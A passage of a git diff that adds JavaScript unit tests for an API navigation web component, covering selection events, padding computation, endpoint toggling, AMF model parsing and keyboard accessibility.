+      element[securityValue] = model.security;
+      // @ts-ignore
+      element[endpointsValue] = model.endpoints;
+      await element.requestUpdate();
+    });
+
+    it('updates the selection from the change event', async () => {
+      const id = 'test3';
+      NavigationEvents.apiNavigate(document.body, id, 'schema');
+      assert.equal(element.domainId, id);
+      assert.equal(element.domainType, 'schema');
+      const node = element.shadowRoot.querySelector(`[data-api-id="${id}"]`);
+      await nextFrame();
+      assert.isTrue(node.classList.contains('selected'));
+    });
+
+    it('does not update the selection if it is the source', () => {
+      const id = 'test3';
+      NavigationEvents.apiNavigate(element, id, 'schema');
+      assert.isUndefined(element.domainId);
+    });
+
+    it('does not dispatch the selection event', () => {
+      const id = 'test3';
+      const spy = sinon.spy();
+      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+      NavigationEvents.apiNavigate(document.body, id, 'schema');
+      assert.isFalse(spy.called);
+    });
+
+    [
+      ['schema', 'test3', '.list-item'],
+      ['security', 'test5', '.list-item'],
+      ['documentation', 'test1', '.list-item'],
+      ['resource', 'test7', '.operation'],
+    ].forEach(item => {
+      const [type, id, selector] = item;
+      it(`dispatches the event when clicking on a ${type}`, () => {
+        const s = `${selector}[data-api-id="${id}"]`;
+        const spy = sinon.spy();
+        element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(s));
+        node.click();
+        assert.isTrue(spy.calledOnce);
+        const { detail } = spy.args[0][0];
+        assert.equal(detail.domainId, id);
+        assert.equal(detail.domainType, type);
+        assert.isUndefined(detail.parentId);
+      });
+    });
+
+    it('dispatches the event when clicking on a method', () => {
+      const selector = '.operation[data-api-id="method10"]';
+      const spy = sinon.spy();
+      element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector(selector));
+      node.click();
+      assert.isTrue(spy.calledOnce);
+      const { detail } = spy.args[0][0];
+      assert.equal(detail.domainId, 'method10');
+      assert.equal(detail.domainType, 'operation');
+      assert.equal(detail.parentId, 'test9');
+    });
+  });
+
+  describe('computePathName()', () => {
+    it('Computes short path', () => {
+      const base = ['/root', '/root/other'];
+      const current = '/root/other/path';
+      const parts = ['root', 'other', 'path'];
+      const indent = 3;
+      const result = computePathName(current, parts, indent, base);
+      assert.equal(result, '/path');
+    });
+
+    it('Computes short path for combined endpoint names', () => {
+      const base = ['/root', '/root/other'];
+      const current = '/root/other/path';
+      const parts = ['root', 'other'];
+      const indent = 1;
+      const result = computePathName(current, parts, indent, base);
+      assert.equal(result, '/other/path');
+    });
+  });
+
+  describe('[computeEndpointPaddingLeft]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Computes default padding', () => {
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 16);
+    });
+
+    it('Computes value for single value padding', () => {
+      element.style.setProperty('--api-navigation-list-item-padding', '5px');
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 5);
+    });
+
+    it('Computes value for double padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 10);
+    });
+
+    it('Computes value for triple padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px 15px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 10);
+    });
+
+    it('Computes value for full padding value', () => {
+      element.style.setProperty(
+        '--api-navigation-list-item-padding',
+        '5px 10px 15px 20px'
+      );
+      const result = element[computeEndpointPaddingLeft]();
+      assert.equal(result, 20);
+    });
+  });
+
+  describe('[computeOperationPaddingLeft]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Computes default padding', () => {
+      const result = element[computeOperationPaddingLeft]();
+      assert.equal(result, 24);
+    });
+
+    it('Computes padding from css property', () => {
+      element.style.setProperty(
+        '--api-navigation-operation-item-padding-left',
+        '5px'
+      );
+      const result = element[computeOperationPaddingLeft]();
+      assert.equal(result, 5);
+    });
+  });
+
+  describe('[toggleEndpoint]()', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    beforeEach(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('Does nothing when node with data-endpoint-id is not in the path', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [];
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('Ignores node that are not of a type of 1 (Element)', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [document.createTextNode('test')];
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('Ignores nodes without data-endpoint-id', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const e = new MouseEvent('test');
+      e.composedPath = () => [document.createTextNode('span')];
+
+      element[toggleEndpoint](e);
+      assert.isFalse(spy.called);
+    });
+
+    it('calls toggleOperations()', () => {
+      const spy = sinon.spy(element, 'toggleOperations');
+      const node = document.createElement('span');
+      node.dataset.endpointId = 'testId';
+      const e = new MouseEvent('test');
+      e.composedPath = () => [node];
+      element[toggleEndpoint](e);
+      assert.isTrue(spy.called, 'Function called');
+      assert.equal(spy.args[0][0], 'testId', 'Has argument set');
+    });
+  });
+
+  describe('[queryChanged]()', () => {
+    let element;
+    beforeEach(async () => {
+      element = await summaryFixture();
+    });
+
+    it('Does nothing when [queryDebouncer] is already set', () => {
+      element[queryDebouncer] = 1;
+      element.query = 'test';
+      assert.equal(element[queryDebouncer], 1);
+    });
+
+    it('Sets [queryDebouncer]', async () => {
+      element.query = 'test';
+      assert.isTrue(element[queryDebouncer]);
+      await nextFrame();
+    });
+
+    it('calls the [flushQuery]() method', done => {
+      element.query = 'test';
+      const spy = sinon.spy(element, flushQuery);
+      setTimeout(() => {
+        assert.isTrue(spy.called);
+        done();
+      });
+    });
+
+    it('Re-sets [queryDebouncer]', done => {
+      element.query = 'test';
+      setTimeout(() => {
+        assert.isFalse(element[queryDebouncer]);
+        done();
+      });
+    });
+  });
+
+  [false, true].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      describe('[toggleSectionHandler]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('does nothing when node not found in path', () => {
+          const e = new MouseEvent('test');
+          e.composedPath = () => [];
+
+          element[toggleSectionHandler](e);
+          // No error
+        });
+
+        it('skips elements without dataset property', () => {
+          const e = new MouseEvent('test');
+          e.composedPath = () => [document.createTextNode('test')];
+          
+          element[toggleSectionHandler](e);
+        });
+
+        it('skips elements without data-section attribute', () => {
+          const node = document.createElement('span');
+          const e = new MouseEvent('test');
+          e.composedPath = () => [node];
+
+          element[toggleSectionHandler](e);
+        });
+
+        it('toggles the section', () => {
+          const node = document.createElement('span');
+          node.dataset.section = 'endpoints';
+          const e = new MouseEvent('test');
+          e.composedPath = () => [node];
+
+          element[toggleSectionHandler](e);
+          assert.isTrue(element.endpointsOpened);
+        });
+      });
+
+      describe('[selectMethodPassive]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('does nothing when the id is not in the DOM', () => {
+          element[selectMethodPassive]('some-id');
+          assert.isUndefined(element[hasPassiveSelection]);
+        });
+
+        it('adds the "passive-selected" class name to the method label', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          const node = element.shadowRoot.querySelector('.passive-selected');
+          // @ts-ignore
+          assert.equal(node.dataset.apiId, id);
+        });
+
+        it('sets the [hasPassiveSelection] flag', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          assert.isTrue(element[hasPassiveSelection]);
+        });
+
+        it('renders the toggle in the opened state', () => {
+          const { id } = element[endpointsValue][0].methods[0];
+          element[selectMethodPassive](id);
+          const node = element.shadowRoot.querySelector('.passive-selected');
+          // @ts-ignore
+          assert.isTrue(node.parentElement.opened);
+        });
+      });
+
+      describe('[itemClickHandler]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Uses currentTarget as the target', () => {
+          const node = element.shadowRoot.querySelector('.list-item.summary');
+          const spy = sinon.spy(element, selectItem);
+
+          // @ts-ignore
+          element[itemClickHandler]({
+            currentTarget: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === node);
+        });
+
+        it('Uses target as the target', () => {
+          const node = element.shadowRoot.querySelector('.list-item.summary');
+          const spy = sinon.spy(element, selectItem);
+          // @ts-ignore
+          element[itemClickHandler]({
+            target: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === node);
+        });
+
+        it('Makes adjustments for method label', () => {
+          const node = element.shadowRoot.querySelector('.method-label');
+          const parent = node.parentNode;
+          const spy = sinon.spy(element, selectItem);
+          // @ts-ignore
+          element[itemClickHandler]({
+            target: node,
+          });
+          assert.isTrue(spy.called);
+          assert.isTrue(spy.args[0][0] === parent);
+        });
+      });
+
+      describe('[flushQuery]()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('sets the [queryValue] as a lowercase query', () => {
+          element[queryDebouncer] = true;
+          element.query = 'Files';
+          element[flushQuery]();
+          assert.equal(element[queryValue], 'files');
+        });
+
+        it('Clear the query', () => {
+          element[queryDebouncer] = true;
+          element.query = '';
+          element[flushQuery]();
+          assert.equal(element[queryValue], '');
+        });
+      });
+
+      describe('computeRenderPath()', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await summaryFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Returns true when both arguments are true', () => {
+          const result = computeRenderPath(true, true);
+          assert.isTrue(result);
+        });
+
+        it('Returns false when allowPaths is false', () => {
+          const result = computeRenderPath(false, true);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when allowPaths is not set', () => {
+          const result = computeRenderPath(undefined, true);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when renderPath is false', () => {
+          const result = computeRenderPath(true, false);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when renderPath is not set', () => {
+          const result = computeRenderPath(true, undefined);
+          assert.isFalse(result);
+        });
+
+        it('Returns false when both undefined', () => {
+          const result = computeRenderPath(false, false);
+          assert.isFalse(result);
+        });
+
+        it('Paths are hidden by default', () => {
+          const endpoint = loader.lookupEndpoint(amf, '/about');
+          const id = endpoint['@id'];
+          const node = element.shadowRoot.querySelector(
+            `.endpoint[data-endpoint-id="${id}"] .path-name`
+          );
+          assert.notOk(node);
+        });
+
+        it('Renders paths when "allowPaths" is set', async () => {
+          element.allowPaths = true;
+          await nextFrame();
+          const endpoint = loader.lookupEndpoint(amf, '/about');
+          const id = endpoint['@id'];
+          const node = element.shadowRoot.querySelector(
+            `.endpoint[data-endpoint-id="${id}"] .path-name`
+          );
+          assert.ok(node);
+        });
+      });
+
+      describe('AsyncAPI', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, asyncApi);
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('should render channels', () => {
+          assert.lengthOf(element[endpointsValue], 2);
+        });
+
+        it('should render "Channels" label', () => {
+          assert.equal(
+            element.shadowRoot.querySelector('.endpoints div.title-h3')
+              .textContent,
+            'Channels'
+          );
+        });
+      });
+
+      describe('Unordered endpoints', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, unorderedEndpoints);
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('should render full path of third endpoint', () => {
+          const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+            '.list-item.endpoint .endpoint-name'
+          ));
+          
+          assert.equal(nodes[2].innerText, '/foo/bar');
+        });
+      });
+
+      describe('APIC-550', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        it('should render without errors', async () => {
+          amf = await loader.getGraph(compact, 'APIC-550');
+          element = await modelFixture(amf);
+          await nextFrame();
+          assert.lengthOf(element[endpointsValue], 1);
+        });
+      });
+
+      describe('APIC-554', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'APIC-554');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = [
+            '/customer/{customerId}/chromeos',
+            '/deviceId',
+            '/customerId',
+          ];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('APIC-554-ii', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'APIC-554-ii');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = [
+            '/customers/{customer}/chromeos/deviceId',
+            '/customer/{customer}/chromeos/deviceId',
+          ];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('SE-19215', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'SE-19215');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should compute endpoint names correctly', () => {
+          const labels = ['/omaha/transactionscall1', '/transactions/call2'];
+          assert.deepEqual(
+            element[endpointsValue].map(e => e.label),
+            labels
+          );
+        });
+      });
+
+      describe('operationsOpened', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+        });
+
+        beforeEach(async () => {
+          element = await operationsOpenedFixture(amf, true);
+          await aTimeout(0);
+        });
+
+        it('should expand all operations when operationsOpened', () => {
+          const operations = element.shadowRoot.querySelectorAll('.list-item.endpoint');
+          assert.equal(operations.length, 32);
+
+          let openedOperations = 0;
+          operations.forEach(e => {
+            if (e.getAttribute('data-endpoint-opened') === '') {
+              openedOperations++;
+            }
+          });
+          assert.equal(openedOperations, 32);
+        });
+      });
+
+      describe('GH-27', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+          await aTimeout(0);
+        });
+
+        it('selected operation should expand endpoint', async () => {
+          const operation = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation[data-shape="operation"]'));
+          element.domainId = operation.dataset.apiId;
+          element.domainType = 'operation';
+          await nextFrame();
+          assert.equal(operation.classList.contains('selected'), true);
+          assert.notEqual(operation.parentElement.getAttribute('data-endpoint-opened'), null);
+        });
+      });
+
+      describe('noOverview', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        before(async () => {
+          amf = await loader.getGraph(compact, 'simple-api');
+        });
+
+        beforeEach(async () => {
+          element = await modelFixture(amf);
+        });
+
+        it('should set noOverview to false by default', () => {
+          assert.isFalse(element.noOverview)
+        });
+
+        it('should render endpoints overview by default', () => {
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.list-item.operation[data-shape="resource"]'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should render endpoints name by default', () => {
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.endpoint-name'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should set noOverview to true', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          assert.isTrue(element.noOverview)
+        });
+
+        it('should not render endpoints overview when noOverview', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.list-item.operation[data-shape="resource"]'
+          );
+          assert.equal(endpoints.length, 0);
+        });
+
+        it('should render clickable endpoints name when noOverview', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpoints = element.shadowRoot.querySelectorAll(
+            '.endpoint-name-overview'
+          );
+          assert.equal(endpoints.length, 3);
+        });
+
+        it('should select endpoint when clicking its name', async () => {
+          element.noOverview = true;
+          await aTimeout(0);
+
+          const endpointName = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint-name-overview'));
+          endpointName.click();
+          await aTimeout(0);
+
+          const endpoint = element.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${endpointName.dataset.apiId}"]`);
+          assert.equal(endpoint.className, "list-item endpoint selected");
+        });
+
+        describe('menu keyboard navigation', () => {
+          it('should focus on endpoint path detail first', async () => {
+            element.noOverview = true;
+            element.endpointsOpened = true;
+            await aTimeout(5);
+            element.dispatchEvent(new Event('focus', { bubbles: false }));
+            await nextFrame();
+            // Key press down
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            await nextFrame();
+            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] .path-details');
+            assert.equal(
+              element.focusedItem,
+              node,
+              'element.focusedItem is last item'
+            );
+          });
+
+          it('should focus on endpoint toggle arrow second', async () => {
+            element.noOverview = true;
+            element.endpointsOpened = true;
+            await aTimeout(5);
+            element.dispatchEvent(new Event('focus', { bubbles: false }));
+            await nextFrame();
+            // Key press down
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+            await nextFrame();
+            const node = element.shadowRoot.querySelector('div[data-endpoint-path="/one"] anypoint-icon-button');
+            assert.equal(
+              element.focusedItem,
+              node,
+              'element.focusedItem is last item'
+            );
+          });
+        });
+      });
+
+      describe('renderFullPaths', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('renders full paths when renderFullPaths is set', async () => {
+          element.renderFullPaths = true;
+          element.endpointsOpened = true;
+          await aTimeout(50);
+          const renderedPath = element.shadowRoot.querySelectorAll('.list-item.endpoint')[2].textContent.split('\n').join('').trim();
+          assert.equal(renderedPath, '/files/{fileId}/copy');
+        });
+
+        it('does not indent any endpoint', async () => {
+          element.renderFullPaths = true;
+          element.endpointsOpened = true;
+          await aTimeout(50);
+          element[endpointsValue].forEach(endpoint => assert.equal(endpoint.indent, 0));
+        });
+      });
+    });
+  });
+
+  describe('a11y', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      const amf = await loader.getGraph(true, 'navigation-api');
+      element = await summaryFixture();
+      element.amf = amf;
+      element.domainId = 'summary';
+      await nextFrame();
+    });
+
+    it('performs a11y tests', async () => {
+      await assert.isAccessible(element);
+    });
+  });
+
+  describe('default opened state', () => {
+    /** @type AmfDocument */
+    let amf;
+    before(async () => {
+      amf = await loader.getGraph(true, 'navigation-api');
+    });
+
+    it('opens endpoints when initialized', async () => {
+      const element = await endpointsOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.endpoints > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens documentation when initialized', async () => {
+      const element = await docsOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.documentation > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens types when initialized', async () => {
+      const element = await typesOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.types > anypoint-collapse'));
+      assert.isTrue(node.opened);
+    });
+
+    it('opens security when initialized', async () => {
+      const element = await securityOpenedFixture(amf);
+      const node = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector(
+        '.security > anypoint-collapse'
+      ));
+      assert.isTrue(node.opened);
+    });
+  });
+
+  describe('a11y', () => {
+    /** @type AmfDocument */
+    let amf;
+
+    before(async () => {
+      amf = await loader.getGraph(true, 'simple-api');
+    });
+
+    describe('menu keyboard tests', () => {
+      /** @type ApiNavigationElement */
+      let element;
+      beforeEach(async () => {
+        element = await modelFixture(amf);
+      });
+
+      it('first item gets focus when menu is focused', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is first item'
+        );
+      });
+
+      it('selected item gets focus when menubar is focused', async () => {
+        element.endpointsOpened = true;
+        await aTimeout(0);
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.click();
+        window.focus();
+        await aTimeout(0);
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is first item'
+        );
+      });
+
+      it('focused on previous item', async () => {
+        element.endpointsOpened = true;
+        await aTimeout(0);
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press up
+        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelectorAll(
+          '.endpoints > anypoint-collapse .list-item.endpoint'
+        )[2];
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('focused on next item', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints > .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('focused on next item', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        await aTimeout(0);
+        // Key press down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        await aTimeout(0);
+        const node = element.shadowRoot.querySelector(
+          '.endpoints > .section-title'
+        );
+        assert.equal(
+          element.focusedItem,
+          node,
+          'element.focusedItem is last item'
+        );
+      });
+
+      it('keyboard events should not bubble', async () => {
+        let keyCounter = 0;
+        element.parentElement.addEventListener('keydown', event => {
+          if (event.key === 'Escape') {
+            keyCounter++;
+          }
+          if (event.key === 'ArrowUp') {
+            keyCounter++;
+          }
+          if (event.key === 'ArrowDown') {
+            keyCounter++;
+          }
+        });
+        // up
+        element.dispatchEvent(keyboardEvent('ArrowUp', 38));
+        // down
+        element.dispatchEvent(keyboardEvent('ArrowDown', 40));
+        // esc
+        element.dispatchEvent(keyboardEvent('Escape', 27));
+        await aTimeout(0);
+        assert.equal(keyCounter, 0);
+      });
+
+      it('selects operation item with space bar', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        assert.equal(element.domainId, node.dataset.apiId);
+      });
+
+      it('selects operation item with enter', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+        node.dispatchEvent(keyboardEvent('Enter', 13));
+        assert.equal(element.domainId, node.dataset.apiId);
+      });
+
+      it('toggles endpoints with space bar', () => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.section-title'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        assert.isTrue(element.endpointsOpened);
+      });
+
+      it('toggles endpoint with space bar', async() => {
+        const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+        node.dispatchEvent(keyboardEvent('Space', 32));
+        await aTimeout(0);
+        // @ts-ignore
+        assert.isTrue(node.nextElementSibling.opened);
+      });
+
+      it('shift+tab removes focus', async () => {
+        element.dispatchEvent(new Event('focus', { bubbles: false }));
+        // Wait for async focus
+        await aTimeout(0);
+        // Key press 'Tab'
+        const e = new KeyboardEvent('keydown', {
+          detail: 0,
+          bubbles: true,
+          cancelable: true,
+          composed: true,
+          keyCode: 9,
+          code: 'Tab',
+          key: 'Tab',
+          shiftKey: true,
+        });
+        element.dispatchEvent(e);
+        assert.equal(element.getAttribute('tabindex'), '-1');
+        assert.isTrue(element[shiftTabPressed]);
+        assert.equal(element[focusedItemPrivate], null);
+        await aTimeout(1);
+        assert.isFalse(element[shiftTabPressed]);
+        assert.equal(element.getAttribute('tabindex'), '0');
+      });
+    });
+  });
+});
diff --git a/test/navigation/amf-model.test.js b/test/navigation/amf-model.test.js
new file mode 100644
index 0000000..22ec7bb
--- /dev/null
+++ b/test/navigation/amf-model.test.js
@@ -0,0 +1,395 @@
+import { fixture, assert, nextFrame, aTimeout, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import { 
+  collectData, 
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+} from '../../src/elements/ApiNavigationElement.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
+
+/* eslint-disable no-plusplus */
+/* eslint-disable prefer-destructuring */
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  const loader = new AmfLoader();
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function basicFixture(amf) {
+    return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+  }
+
+  describe('AMF Computations', () => {
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Collects documentation information', () => {
+          const result = element[docsValue];
+          assert.equal(result.length, 2);
+          assert.typeOf(result[0].id, 'string');
+          assert.typeOf(result[0].label, 'string');
+          assert.equal(result[0].label, 'How to begin');
+          assert.typeOf(result[0].isExternal, 'boolean');
+          assert.isUndefined(result[0].url);
+        });
+
+        it('Collects types information', () => {
+          const result = element[typesValue];
+          assert.equal(result.length, 10);
+          assert.typeOf(result[0].id, 'string');
+          assert.typeOf(result[0].label, 'string');
+        });
+
+        it('Collects security information', () => {
+          const result = element[securityValue];
+          assert.equal(result.length, 2);
+          assert.typeOf(result[0].id, 'string');
+          assert.typeOf(result[0].label, 'string');
+        });
+
+        it('Collects endpoints information', () => {
+          const result = element[endpointsValue];
+          assert.equal(result.length, 32);
+          assert.typeOf(result[0].id, 'string');
+          assert.typeOf(result[0].label, 'string');
+          assert.typeOf(result[0].methods, 'array');
+          assert.typeOf(result[0].renderPath, 'boolean');
+        });
+
+        it('Collects methods information', () => {
+          const result = element[endpointsValue];
+          const { methods } = result[0];
+          assert.equal(methods.length, 2);
+          assert.typeOf(methods[0].id, 'string');
+          assert.typeOf(methods[0].label, 'string');
+          assert.typeOf(methods[0].method, 'string');
+        });
+
+        it('Collects types from a library', () => {
+          const result = element[typesValue];
+          assert.lengthOf(result, 10);
+          assert.equal(result[9].label, 'Type from library');
+        });
+
+        it('Types does not include inline declarations', () => {
+          const result = element[typesValue];
+          for (let i = 0, len = result.length; i < len; i++) {
+            assert.equal(result[i].label.indexOf('amf_inline_type'), -1);
+          }
+        });
+
+        it('renderPath is set on endpoints', () => {
+          const result = element[endpointsValue];
+          let endpoint = result[0];
+          assert.isTrue(endpoint.renderPath);
+          endpoint = result[2];
+          assert.isFalse(endpoint.renderPath);
+        });
+
+        it('Sets missing name as truncated path', () => {
+          const result = element[endpointsValue];
+          const endpoint = result[2];
+          assert.equal(endpoint.label, '/copy');
+        });
+      });
+    });
+  });
+
+  describe('APIC-349: AMF cache pipeline', () => {
+    describe('When model contains URI IDs', () => {
+      /** @type ApiNavigationElement */
+      let element;
+
+      beforeEach(async () => {
+        const amf = await loader.getGraph(false, 'APIC-349-cache-resolution');
+        element = await basicFixture();
+        element.amf = amf;
+        await nextFrame();
+      });
+
+      it('Collects documentation information', () => {
+        const result = element[docsValue];
+        assert.equal(result.length, 4);
+        assert.typeOf(result[0].id, 'string');
+        assert.typeOf(result[0].label, 'string');
+        assert.typeOf(result[0].isExternal, 'boolean');
+        assert.isUndefined(result[0].url);
+      });
+
+      it('Collects types information', () => {
